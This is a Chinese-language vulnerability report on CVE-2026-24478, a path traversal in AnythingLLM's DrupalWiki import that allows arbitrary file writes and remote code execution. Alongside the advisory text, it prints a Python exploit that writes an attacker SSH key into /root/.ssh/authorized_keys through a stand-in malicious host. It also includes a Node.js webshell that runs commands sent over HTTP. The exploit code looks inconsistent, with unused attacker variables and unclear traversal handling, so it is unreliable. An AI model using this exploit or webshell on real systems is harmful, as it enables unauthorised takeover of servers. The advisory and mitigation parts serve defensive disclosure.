IPBUF安全漏洞报告
English
CVE-2026-24478 CVSS 7.2 高危

CVE-2026-24478 | AnythingLLM DrupalWiki路径遍历导致远程代码执行

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-24478
漏洞类型
路径遍历/任意文件写入/远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
AnythingLLM

相关标签

路径遍历任意文件写入远程代码执行AnythingLLMCVE-2026-24478DrupalWiki高危漏洞

漏洞概述

AnythingLLM是一款将文档内容转换为上下文知识的应用,使LLM能够在聊天过程中引用相关资料。该应用在1.10.0版本之前,DrupalWiki集成模块存在严重的路径遍历(Path Traversal)漏洞。攻击者利用该漏洞可以构造特殊的URL路径,通过DrupalWiki集成功能向服务器任意位置写入文件。由于AnythingLLM通常以较高权限运行,攻击者可以通过覆盖配置文件、写入SSH公钥或植入Webshell等方式,最终实现远程代码执行(RCE),完全控制目标服务器。此漏洞的利用需要管理员权限或能够诱使管理员配置恶意DrupalWiki URL,因此属于高复杂度攻击。漏洞已于1.10.0版本修复,建议用户立即升级。

技术细节

该漏洞存在于AnythingLLM的DrupalWiki集成功能中。在处理用户提供的DrupalWiki URL时,应用程序未能正确验证和过滤路径遍历序列(如../),导致攻击者可以构造恶意URL访问服务器上的任意文件路径。当应用将这些路径传递给文件写入操作时,攻击者可以突破预期目录限制,将文件写入服务器任意位置。

利用此漏洞的标准攻击方式包括:
1. 写入SSH authorized_keys文件获取SSH访问权限
2. 覆盖应用程序配置文件修改认证或权限设置
3. 在Web目录写入可执行脚本(如PHP/Node.js webshell)
4. 写入cron任务或启动脚本实现持久化

由于AnythingLLM需要处理文档和执行LLM相关操作,通常以root或高权限用户运行,这使得攻击者获得的文件写入能力可以扩展为完整的系统控制。CVSS 3.1评分7.2(高危),攻击向量为网络,认证要求为高权限,无需用户交互。

攻击链分析

STEP 1
1. 初始访问
攻击者通过社会工程手段获取管理员凭证,或说服管理员配置指向攻击者控制服务器的DrupalWiki URL
STEP 2
2. 构造恶意请求
攻击者构造包含路径遍历序列(如../../../../)的DrupalWiki URL,指定目标文件路径如/root/.ssh/authorized_keys
STEP 3
3. 触发漏洞
通过AnythingLLM的DrupalWiki导入功能发送请求,应用程序未正确验证路径序列,导致文件被写入预期外的位置
STEP 4
4. 写入后门文件
攻击者将SSH公钥写入authorized_keys文件,或写入webshell、计划任务等持久化后门
STEP 5
5. 远程代码执行
通过SSH登录服务器或访问webshell,攻击者获得服务器的命令执行能力,实现完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-24478 PoC - AnythingLLM DrupalWiki Path Traversal File Write # Version: < 1.10.0 import requests import base64 TARGET_URL = "http://target-anythingllm:3001" ATTACKER_IP = "attacker_ip" ATTACKER_PORT = "4444" # Generate SSH public key for authentication (replace with your public key) ssh_pub_key = f"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7... attacker@ AnythingLLM-Exploit" def exploit_path_traversal(): """ Exploit the DrupalWiki path traversal to write arbitrary files. This PoC demonstrates writing to /root/.ssh/authorized_keys """ # Payload to write SSH authorized_keys for persistent access # The path traversal sequence ../ allows escaping the intended directory malicious_url = f"http://malicious-drupalwiki.com/wiki?page=../../../../.ssh/authorized_keys" # Alternatively, write a webshell if web directory is known # webshell_path = "../../../../var/www/html/shell.js" # webshell_content = "const {exec} = require('child_process');require('http').createServer((req,res)=>{exec(require('buffer').Buffer.from(req.url.slice(1),'base64').toString(),(e,o)=>res.end(o));}).listen(8080);" payload = { "drupalWikiUrl": malicious_url, "content": ssh_pub_key, "action": "import" } # Authentication required - use admin credentials session = requests.Session() session.post(f"{TARGET_URL}/api/auth/login", json={ "email": "[email protected]", "password": "admin_password" }) # Trigger the vulnerable file write operation response = session.post( f"{TARGET_URL}/api/workspace/drupalwiki/import", json=payload ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] File written successfully! SSH access may be available.") else: print("[-] Exploitation failed. Check credentials and target version.") if __name__ == "__main__": exploit_path_traversal()

影响范围

AnythingLLM < 1.10.0

防御指南

临时缓解措施
如果无法立即升级,应限制AnythingLLM管理员权限,避免配置任何外部DrupalWiki URL。同时监控应用程序日志,查找包含路径遍历序列(../)的可疑请求。对运行AnythingLLM的系统账户实施最小权限原则,限制其文件写入范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表